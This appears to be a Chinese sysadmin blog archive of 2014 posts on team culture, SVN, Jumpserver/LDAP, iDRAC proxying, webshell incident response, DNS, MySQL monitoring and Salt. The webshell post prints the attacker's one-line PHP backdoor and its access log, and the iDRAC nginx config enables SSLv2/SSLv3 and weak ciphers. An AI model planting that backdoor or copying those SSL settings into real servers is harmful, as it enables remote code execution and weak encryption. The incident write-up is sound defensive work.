12/11/14

【团队】十字诀

一、什么叫团队?
一起经历过风雨洗礼、跌宕起伏、浴血奋战、荣辱与共、艰难困境,依然迎难而上,创造奇迹,那才叫团队!

 二、十字诀

  • 一个字:干。
  • 二个字:主动。
  • 三个字:让我来。
  • 四个字:积极思考。
  • 五个字:责任是我的。
  • 六个字:有谁需要帮助。
  • 七个字:目标一定会实现。
  • 八个字:一切的工作为了爱。
  • 九个字:我要成为多给予的人。
  • 十个字:只有结果才能证明实力。

三、角色定义

一个团队里,人分为五种:人渣,人员,人手,人才,人物。

  1. 【人渣】就是牢骚抱怨、无事生非,拉帮结派,挑起事端、吃里扒外的破坏分子;
  2. 【人员】就是只领工资不爱做事,安排与自己无关的工作不愿干,属庸人之列;
  3. 【人手】就是安排什么做什么,不安排绝对不做,等着下命令的人;
  4. 【人才】就是每天发自内心做事,做事有责任、有思路、有条理,知道公司的事做好了,受益的是自己,同时真心为公司操心的人;
  5. 【人物】就是全身心投入,用灵魂去思考、做事,决心要和企业做一番事业的人!

四、角色特点

  • 人员斤斤计较,人手需要引导,
  • 人才关注当下,人物放眼未来!
  • 发展要靠人才,做大要靠人物!

 

 

12/3/14

【问题】macbook air下使用svn使用问题

一、问题描述

问题描述:同事新买的Macbook air svn checkout代码时,遇到 411 Content length required的报错。

环境描述:系统默认svn 为1.7的版本号

排查步骤:

1、确认是否svn服务器版本问题,网上找几个开源的svn库测试,均不能svn checkout代码下来。

2、检查svn服务器日志,发现如下日志

9.77.218.146 – - [03/Dec/2014:18:10:49 +0800] “OPTIONS /svn/phpdba HTTP/1.1″ 411 181 “-” “SVN/1.7.17 serf/1.3.3″

9.77.218.146 – - [03/Dec/2014:18:12:42 +0800] “OPTIONS /svn/phpdba HTTP/1.1″ 411 181 “-” “SVN/1.7.17 serf/1.3.3″

直接给nginx挡住,返回411

3、问题确定,mac air 的svn checkout的时候,没有或者丢失内容长度信息,nginx检查到缺少内容长度信息,返回411

二、处理方法

1、开启svnserver服务,macbook air下面通过svn协议请求代码资源

2、修改 ~/.subversion/servers 文件, 添加http-chunked-requests=no 如:

[global]
http-chunked-requests = no 

 

12/3/14

【堡垒机】服务器用户统一管理

最近在网上,看到开源跳板机系统(Jumpserver),按照作者手册搭了一套系统。以下描述下,我对这套系统的认识以及部署使用过程中遇到一些问题。

一、Jumpserver架构认识

1、以下系统开发者的系统架构
6013350_14080086633ZmA

 

Jumpserver包括:

a、LDAP系统:集中统一管理服务器用户,包含server端和client端。一般为防止单点故障,ldap系统采用主备部署模式,保障堡垒机系统正常运行。

b、Jumpserver系统:主要包括服务器身份认证、授权、访问控制、日志审计等功能。

1、web管理后台是在python开发的Django开源web应用MVC框架。

2、ldap的client端服务器设置,只允许ldap的主备server端ssh连接,这样所有服务器都只能通过堡垒机连接其他服务器进行操作。

3、ldap的server端采用shell+python的组合,shell判断ssh到ldap的server用户(设置特殊用户不受Jumpserver控制),非特殊用户执行python jumpserver.py ,只允许访问授权服务器。

4、jumpserver.py  脚本使用python的pexpect的interact交互模式和日志功能,登录授权服务器操作和记录用户的操作记录。

5、nodejs实时监控着,每个用户当前状态

二、Jumpserver 部署

1、部署过程

参考:http://laoguang.blog.51cto.com/6013350/1576729

2、部署问题

a、ldif_read_file: Permission denied for “/etc/openldap/slapd.d/cn=config.ldif” 权限问题

查看操作记录发现

修改/etc/openldap/slapd.d 权限时,chown -R ldap:ldap /etc/openldap/slapd.d  ,少了给‘/’

导致未修改子目录权限,重启slapd时没有权限生成配置文件。

[root@host-10-0-0-4 ~]# cd /etc/openldap/
[root@host-10-0-0-4 openldap]# ls
certs ldap.conf schema slapd.conf slapd.d
[root@host-10-0-0-4 openldap]# ll
total 24
drwxr-xr-x. 2 root root 4096 Dec 1 09:45 certs
-rw-r–r–. 1 root root 280 Oct 15 17:55 ldap.conf
drwxr-xr-x. 2 root root 4096 Dec 1 09:46 schema
-rw-r–r–. 1 root root 4646 Dec 1 09:56 slapd.conf
drwx——. 3 ldap ldap 4096 Dec 1 09:58 slapd.d
[root@host-10-0-0-4 openldap]# cd slapd.d/
[root@host-10-0-0-4 slapd.d]# ll;
total 8
drwxr-x—. 3 root root 4096 Dec 1 09:58 cn=config
-rw——-. 1 root root 1262 Dec 1 09:58 cn=config.ldif
[root@host-10-0-0-4 slapd.d]# ll
total 8
drwxr-x—. 3 root root 4096 Dec 1 09:58 cn=config
-rw——-. 1 root root 1262 Dec 1 09:58 cn=config.ldif
[root@host-10-0-0-4 slapd.d]# cd ..
[root@host-10-0-0-4 openldap]# chown -R ldap:ldap /etc/openldap/slapd.d/
[root@host-10-0-0-4 openldap]# ll
total 24
drwxr-xr-x. 2 root root 4096 Dec 1 09:45 certs
-rw-r–r–. 1 root root 280 Oct 15 17:55 ldap.conf
drwxr-xr-x. 2 root root 4096 Dec 1 09:46 schema
-rw-r–r–. 1 root root 4646 Dec 1 09:56 slapd.conf
drwx——. 3 ldap ldap 4096 Dec 1 09:58 slapd.d
[root@host-10-0-0-4 openldap]# cd slapd.d/
[root@host-10-0-0-4 slapd.d]# ll
total 8
drwxr-x—. 3 ldap ldap 4096 Dec 1 09:58 cn=config
-rw——-. 1 ldap ldap 1262 Dec 1 09:58 cn=config.ldif
[root@host-10-0-0-4 slapd.d]# service slapd start
Starting slapd: [ OK ]

b、ldap使用sudo权限问题

按照部署文档完成之后,ssh到授权服务器之后sudo执行命令的时候,还是提示输入密码,而且执行不成功。

解决基本思路:检查ldap数据库中是否存在该用户数据。

三、LDAP为何物?

1、LDAP是轻量级目录访问协议,英文全称是Lightweight Directory Access Protocol,是一种访问存储在信息目录中的信息的跨平台Internet标准协议,是基于TCP/IP实现的目录服务。简化了X500的目录协议的移植,简化实现方法。

2、LDAP目录以树状的层次结构来组织和存储数据,目录由目录入口对象(Entry)组成,目录入口对象(Entry)相当于关系数据库中表的记录,可直接成为LDAP目录记录,是具有区别名DN(Distinguished Name)的属性(Attribute)集合,DN相当于关系数据库表中的关键字(Primary Key);属性由属性类型(Type)和多个值(Values)组成,相当于关系数据库中的域(Field)由域名和数据类型组成,只是为了方便检索和灵活性的需要,LDAP中的Type可以有多个Value,而不是关系数据库中为降低数据的冗余性要求实现的各个域必须是不相关的。

3、目录服务与数据库服务的不同之处在于:LDAP目录服务缺少数据库的事务功能和大规模数据的数据库支持;但专门针对读密集型的操作进行了专门的优化,极大地提高数据读取和查询性能。

四、LDAP适合的应用

1、分布式读取,更新少

2、可跨平台读取

3、平面数据,不需要对维度

4、LDAP目录是有关用户、系统、分组、网络、服务和标识的集合;LDAP目录中可以存储各种类型的数据,LDAP对于这样存储这样的信息最为有用,也就是数据需要从不同的地点读取,但是不需要经常更新。

5、LDAP作为存储用户信息的目录服务,可提供基本的用户身份密码验证。

 

五、对Jumpserver后期改进的建议

1、控制Jumpserver用户超时时间,比如:10分钟无操作,pexpect模块直接断开交互模式,退出是否资源。

2、输入密码错误超过设定次数,直接禁止并进入风险预警机制,更新密码周期。

3、第一次使用Jumpserver系统时,强制用户修改初始密码

4、登录IP限制,相同用户每天允许登录次数,IP个数

5、管理后台,服务器分组功能,硬件信息采集功能等

 

10/28/14

【iDRAC】远程卡(iDRAC)配置手册

一、远程卡配置

1、内网IP分配规则
2、虚拟终端端口设置
3、访问帐号密码设置
4、配置方法
参考:http://wenku.baidu.com/view/de0a6bf6f61fb7360b4c65d5.html

二、外网访问配置

1、https代理

A、访问规划

域名:xxx.monitor.phpdba.com
主服务器IP:192.168.1.3
备用服务器IP:192.168.1.116
Web server:nginx ssl

B、nginx ssl搭建

 1、制作CA证书
ca.key CA 私钥:
openssl genrsa -des3 -out ca.key 2048
制作解密后的CA 私钥:
openssl rsa -in ca.key -out ca_decrypted.key
ca.crt CA 根证书(公钥):
openssl req -new -x509 -days 7305 -key ca.key -out ca.crt

2、CA签名认证
域名:phpdba.com
生成证书请求文件和密钥.需要生成2048 位加密的证书请求:
openssl req -new -newkey rsa:2048 -nodes -out phpdba.csr -keyout xinfotek.key
用CA 进行签名:
openssl ca -policy policy_anything -days 1460 -cert ca.crt -keyfile ca.key -in phpdba.csr -out phpdba.crt
其中,policy 参数允许签名的CA 和网站证书可以有不同的国家、地名等信息,days 参数则是签名时限。
如果在执行签名命令时,出现“I am unable to access the ../../CA/newcerts directory”
修改/etc/pki/tls/openssl.cnf 中“dir = ./CA”
然后:
mkdir -p CA/newcerts
touch CA/index.txt
touch CA/serial
echo “01″ > CA/serial
安装CA 根证书浏览器导入ca.crt 到根证书就可以了

3、nginx配置
A、检查nginx是否安装ssl模块
B、将*.monitor.phpdba.com解析到192.168.1.3
C、导入phpdba.crt phpdba.key存到nginx key目录下
D、Nginx ssl配置文件
E、开启nginx服务
F、浏览器访问,如:220.monitor.phpdba.com

   C、nginx ssl配置文件实例

server {
listen       443;
server_name   *.monitor.phpdba.com;
ssl on;
ssl_certificate /opt/phpdba/nginx-1.4.3/key/phpdba.crt;
ssl_certificate_key /opt/phpdba/nginx-1.4.3/key/phpdba.key;
ssl_session_timeout 5m;
ssl_protocols SSLv2 SSLv3 TLSv1;
ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
ssl_prefer_server_ciphers on;

location / {
set $domain default;
if ( $http_host ~* “^(.*)\.monitor\.phpdba\.com$”) {
set $domain $1;
}
              rewrite ^/(.*)  /$domain/$1;
}

location /220/  {
proxy_pass  https://192.168.0.220/;
proxy_set_header Host $host;
proxy_set_header   X-Real-IP        $remote_addr;
proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
proxy_hide_header X-Powered-By;
}
…..  //此处省略N行
location ~ /\.(ht|svn) {
deny  all;
}

2、端口转发规则

A、iptables转发

1、开启iptables FORWARD 功能:/etc/sysctl.conf配置文件的 net.ipv4.ip_forward = 1
2、配置规则(/etc/sysconfig/iptables文件添加如下规则 ):
-A PREROUTING -d xxx.xxx..17.99 -p tcp -m tcp –dport 5900 -j DNAT –to-destination 192.168.0.220:5900
-A POSTROUTING -d 192.168.0.220 -p tcp -m tcp –dport 5900 -j SNAT –to-source 192.168.0.3
3、重启防火墙,/etc/init.d/iptables restart

B、nginx_tcp_proxy_module 转发

1、下载nginx_tcp_proxy_module 模块 ,http://github.com/yaoweibin/nginx_tcp_proxy_module
2、进入nginx源码目录,在原有参数上添加–add-module=/path/to/nginx_tcp_proxy_module,重新编译nginx。
3、配置tcp代理模块

tcp {
access_log logs/tcp_access.log;
server {
listen 5900;
proxy_pass 192.168.1.150:5900;
}
}

3、通过浏览器访问iDRAC

1、浏览器输入网址,例如:https://220.monitor.phpdba.com
2、按照提示安装插件
3、输入帐号密码登录,进行操作。

三、配置注意问题

1、外网用ssl代理能访问并登录iDRAC,但是不能启动虚拟服务器,会提示“viewer 已终止,原因网络连接已中断”。
2、iDRAC使用固定IP,不要使用DHCP分配的地址。路由里DHCP的地址池范围,不要覆盖了iDRAC的固定ip,以避免IP冲突。
3、路由器分内部网段和Internet网段,如果你要测试端口的重定向,在内部网段是测试不了的。你需要从internet地址访问,才能从Internet网段连接路由器,来测试重定向功能。
4、跳过动态DNS,看看是否可以在外网通过IP地址访问到iDRAC,排除一下动态DNS可能带来的干扰。
5、参考资料

http://zh.community.dell.com/techcenter/b/weblog/archive/2012/07/11/idrac7-virtual-console-_2d00_-enhanced-security-checks-in-the-integrated-dell-remote-access-controller.aspx

http://zh.community.dell.com/techcenter/systems-management/f/156/t/9448.aspx

http://www.dell.com/learn/cn/zh/cnhied1/help-me-choose/hmc-idrac7-12g

10/24/14

【webshell】页面嵌入不雅对联广告问题排查过程

一、情况描述

1、近期很多phpdba用户反应内页有不雅图片广告,晚上8点到12点就有,白天恢复正常。
2、用户分布在全国各地,辽宁鞍山网通、上海闵行区电信都有这样的问题,电脑手机都有这情况。
3、截图列表
ask1ask2ask3

二、问题分析

1、网站被黑

由于网站漏洞客观存在,就有人利用漏洞上传webshell,修改网站源码,以彰显其技术之牛逼。一种直接破坏源网站正常业务;另一种则在网站代码中注入其广告代码,牟利。

2、第三方统计网站被劫持

我们网站使用了51yes、cnzz等第三方网站进行数据统计及分析。曾经就遇到cnzz某些地区dns被劫持,导致我们网站上面也出现不雅广告的情况,去掉该统计代码即恢复正常。

3、运营商代理劫持 (http劫持、dns劫持)

如*城宽带,网内用户所有请求都从其网关服务器透明代理经过,然后代理服务器可以在返回给用户html的过程中,在html下添加其广告代码。比如:常见的右下角的弹框广告。

三、问题定位

1、与反应问题的用户联系

a、检查了域名解析情况,都正常解析到自己服务器。【排除dns劫持情况】

b、去掉第三方统计网站代码,不雅广告依然存在。【排除第三方统计网站被劫持情况】

c、查看用户协助保存下来的html代码,发现在页面广告位308下添加了不雅广告对联代码(如下图),从而确认自己广告系统可能被篡改。先去掉了该广告位代码,恢复正常。

ask4

d、之后又有用户反馈,问题依然存在。远程用户电脑,排查问题。发现依然是广告为代码被篡改。

var phpadsbanner = '';

phpadsbanner += '<'+'li style="text-decoration: none;">» <'+'a href=\'http://tc.phpdba.com/adclick.php?bannerid=5915&amp;zoneid=109&source=&dest=http%3A%2F%2Fshop.phpdba.com%2Furls%2FBNrH7\' target=\'_blank\'>孕妈大礼包付邮试用<'+'/a><'+'/li>';
document.writeln("<script type=\"text/javascript\" >BAIDU_CLB_SLOT_ID = \"847159\";</script>");
document.writeln("<script type=\"text/javascript\" src=\"http://cbjs.baidu.com/js/o.js\"></script>");
document.write(phpadsbanner);

自己本地查看该广告位代码,同上。登录服务器查看,服务器上该广告位在19点59分58秒,被修改成上述代码,同时对方还在尝试修改其他广告位代码(如下图)。

ask6

知道修改时间段之后,就可以查看代码同步日志及apache日志。

发现可疑apache访问,锁定webshell位置

199.1.88.29, 118.244.147.95, 127.0.0.1 – - [23/Oct/2014:19:59:46 +0800] “POST /bbs/attachments/forumid_41/kcf.php?ck=assert HTTP/1.0″ 200 335 602 “http://xxx.phpdba.com” “Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0″

源码如下

ok!<?php $_GET['ck']($_POST['lan']);?>

e、将该webshell堵住,广告代码重新生成,问题暂时解决。提醒webshell利用者,请做有素质的“白帽子”,这样或许你得到的更多。

f、phpdba的安全道路上,因为有“白帽子”,会越来越光明。网络安全,需要更多“白帽子”,请加入“白帽子”队伍。

四、思考问题

以下是广告同步日志,请问从下面日志里面,你看到了什么问题,谢谢!

Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/adscache/caches/109.js
/adscache/caches/
/adscache/
/
sending incremental file list
109.js
sent 665 bytes received 37 bytes 1404.00 bytes/sec

 

09/28/14

【python】paramiko和pexpect运维批量脚本

batch_ssh功能介绍:

### 执行批量命令 调用方式
batch_iplist(“iplist.txt”,’who’,”root”,”/root/.ssh/id_rsa”,60,”command.txt”,True)
### 执行单个命令 调用方式
batch_iplist(“iplist.txt”,’who’,”root”,”/root/.ssh/id_rsa”,60,”command.txt”,False)
### iptable 功能模块
1、通过读取iptable_iplist_file.txt文件中ip列表,批量封禁IP
python2.6 batch_ssh.py -I –iptable_config_ini=iptable_config.ini –sub_domain=www.phpdba.com –iptable_iplist_file=iptable_iplist_file.txt
2、直接通过-s将要封禁IP,传入脚本
python2.6 batch_ssh.py -I –iptable_config_ini=iptable_config.ini –sub_domain=www.phpdba.com -s 123.123.123.123
3、同时封禁iptable_iplist_file.txt和-s指定IP
python2.6 batch_ssh.py -I –iptable_config_ini=iptable_config.ini –sub_domain=www.phpdba.com -s 123.123.123.123 –iptable_iplist_file=iptable_iplist_file.txt

### 批量执行命令模块
1、以dev 权限登录iplist.txt中ip,同时批量执行command.txt中定义系列命令及command定义命令
python2.6 batch_ssh.py -B –batch_iplist_file=iplist.txt –batch_commandlist_file=command.txt –command=”ps aux|grep python” –batch_user=dev –batch_auth_key=dev_id_rsa
2、以dev 权限登录iplist.txt中ip,执行command.txt中系列命令
python2.6 batch_ssh.py -B –batch_iplist_file=iplist.txt –batch_commandlist_file=command.txt –batch_user=dev –batch_auth_key=dev_id_rsa
3、以dev权限登录iplist.txt中ip,只执行command定义命令
python2.6 batch_ssh.py -B –batch_iplist_file=iplist.txt –command=”ps aux|grep python” –batch_user=dev –batch_auth_key=dev_id_rsa
4、以root权限登录iplist.txt中ip,批量执行command.txt文件中定义的系列命令
python2.6 batch_ssh.py -B –batch_iplist_file=iplist.txt –batch_commandlist_file=command.txt
5、以root权限登录iplist.txt中ip,执行command定义的命令
python2.6 batch_ssh.py -B –batch_iplist_file=iplist.txt –command=”ps aux|grep python”
6、以root权限登录iplist.txt中ip,同时批量执行command.txt中定义系列命令及command定义命令
python2.6 batch_ssh.py -B –batch_iplist_file=iplist.txt –batch_commandlist_file=command.txt –command=”ps aux|grep python”
### 批量获取mysql信息
1、以root权限登录iplist.txt中ip,批量执行command.txt文件中定义的系列命令
python2.6 batch_ssh.py -M –batch_iplist_file=iplist.txt –batch_commandlist_file=command.txt

源码:https://github.com/chen-123/phper/blob/master/运维工具/python/batch_ssh.py

09/25/14

【DNS】构建基于bind的智能dns系统的思考

一、名词说明

1、域名即Domain Name,是由一串用点号分隔的名称组成的Internet上某台计算机或者计算机组名称。域名即是一个IP的别名,方便记忆。
2、DNS是Domain Name System的缩写,即域名系统。
3、Bind是遵循dns协议的开源软件,可用来响应客户端dns解析请求。

二、DNS 域名描述

1、网络中任何一台dns服务器都不可能记录所有主机域名记录,就算有如此牛逼的服务器,所有域名解析都到这台服务器。且不说硬件是否杠得住,带宽、解析速度呢?所以,dns系统必然是分布式结构。
2、域名一般可分为顶级域名、二级域名、三级域名,顶级域名,一般是指com、cn、net等国际顶级域名;以及cn、us等国家顶级域名。二级域名,一般是需要在Inter NIC(网络信息中心)进行注册取得,比如:phpdba、chen-123等。三级域名用字母( A~Z,a~z,大小写等)、数字(0~9)和连接符(-)组成,各级域名之间用实点(.)连接,三级域名的长度不能超过20个字符。
3、从域名分类可知,DNS系统可分为根域名服务器,主要负责解析顶级域名,只允许授权查询;主域名服务器,即自行搭建或者使用第三方服务器,负责解析注册申请的二级域名下索引域名解析请求,自行维护,须在域名注册商修改NS记录进行授权;
缓存域名服务器,主要是指各电信运营商ISP或者组织搭建的dns服务器,此类dns服务器会缓存该运营商下所有请求的dns记录,更快的响应。

三、智能DNS系统描述(以bind为例)

1、智能DNS系统,最基本的功能是可以根据用户所在区域,将不同区域的解析请求,分别解析到不同的ip地址。这样,如果用户是江西用户的话,智能dns系统就将该用户请求到指向江西IDC节点,让用户能更快的访问我们网站资源。
2、基于bind的智能dns系统,主要是使用View功能,同步配置不同的acl及不同的zone文件,从而实现不同区域解析不同IP
的目的。

四、构建智能DNS系统的问题

1、各区域各ISP运营商的IP收集费劲,而且准确性能保障,要不段优化。比如:设置dns服务器:218.1.135.1,但请求过来的不是这个IP,基于dns系统分布式特点,218.1.135.1dns服务器是无锡某dns服务器的从服务器或者缓存(转发)服务器。
2、同一DNS服务器,多个ISP服务器公用问题,这时,服务器解析比较难界定。
3、dns服务器被攻击问题。

五、区域ip获取途径

1、程序抓取
2、脚本分析IP纯真数据库获取
3、bind 日志收集ip

09/24/14

【MySQLMTOP】分布式部署版本

基于MySQLMTOP 开源mysql监控系统v2.1,进行了更新的内容如下:

1、全局配置添加了报警时间段设置。根据对项目分级归类,设置默认报警时间段。
2、应用管理中添加了管理员邮箱项。通过管理员邮箱设置,可将mysql监控情况抄送给项目负责人。
3、主机管理中添加了主机别名、机房、告警时间段三项。主机别名(一般设置外网IP,无外网IP设置内网IP),告警时间段未设置,则使用全局默认时间段。

代码位置:https://github.com/chen-123/phper/tree/master/mysqlmtop

08/28/14

【salt】salt学习笔记

1、ZMQ版本小于3.2,升级问题
a、下载zeromq源码包,编译安装,但未成功,原因尚不完全清楚。
b、rpm包安装,升级也未成功,原因也不清楚。
c、通过网络发现可以通过yum的方式升级,于是更新yum的源,yum update更新成功。

2、机器太多,希望通过salt state sls批量更新
a、zmq.sls文件规则编写:

get_source_repo:
  cmd.run:
   - name: wget -O /etc/yum.repos.d/ownsource.repo http://www.comingchina.com:8080/testing/ownsource/ownsource.repo
   - unless: test -f /etc/yum.repos.d/ownsource.repo

zmq_update:
  pkg.installed:
   - pkgs:
     - zeromq: 3.2.2-13.1
     - libzmq3
     - python26-zmq: 13.1.0-1
   - require:
     - cmd:get_source_repo

salt-minion:
  service.running:
    - enable: True
    - watch:
      - pkg: zmq_update

b、执行:salt ‘*’ state.sls zmq
c、发现部分机器更新失败,报错信息:“The following package(s) were not found, and no possible matches were found in the package db: libzmq3, python26-zmq, zeromq”。
d、在更新失败机器手动升级,提示:“6/i386/repodata/repomd.xml: [Errno 14] PYCURL ERROR 22 – “The requested URL  returned error: 404″”。原因:机器是32位机器,源上面没有相应的问题。另寻他发升级。
e、执行失败提示:

[root@chen-123 salt]# salt 'local_18' state.sls zmq
local_18:
----------
          ID: get_source_repo
    Function: cmd.run
        Name: wget -O /etc/yum.repos.d/ownsource.repo http://www.comingchina.com:8080/testing/ownsource/ownsource.repo
      Result: True
     Comment: unless execution succeeded
     Changes:
----------
          ID: zmq_update
    Function: pkg.installed
      Result: False
     Comment: The following package(s) were not found, and no possible matches were found in the package db: libzmq3, python26-zmq, zeromq
     Changes:
----------
          ID: salt-minion
    Function: service.running
      Result: False
     Comment: One or more requisite failed
     Changes:

Summary
------------
Succeeded: 1
Failed:    2
------------
Total:     3

执行成功提示:

local_19:
----------
          ID: get_source_repo
    Function: cmd.run
        Name: wget -O /etc/yum.repos.d/ownsource.repo http://www.comingchina.com:8080/testing/ownsource/ownsource.repo
      Result: True
     Comment: unless execution succeeded
     Changes:
----------
          ID: zmq_update
    Function: pkg.installed
      Result: True
     Comment: All specified packages are already installed and are at the desired version.
     Changes:
----------
          ID: salt-minion
    Function: service.running
      Result: True
     Comment: Service salt-minion is already enabled, and is in the desired state
     Changes:

Summary
------------
Succeeded: 3
Failed:    0
------------
Total:     3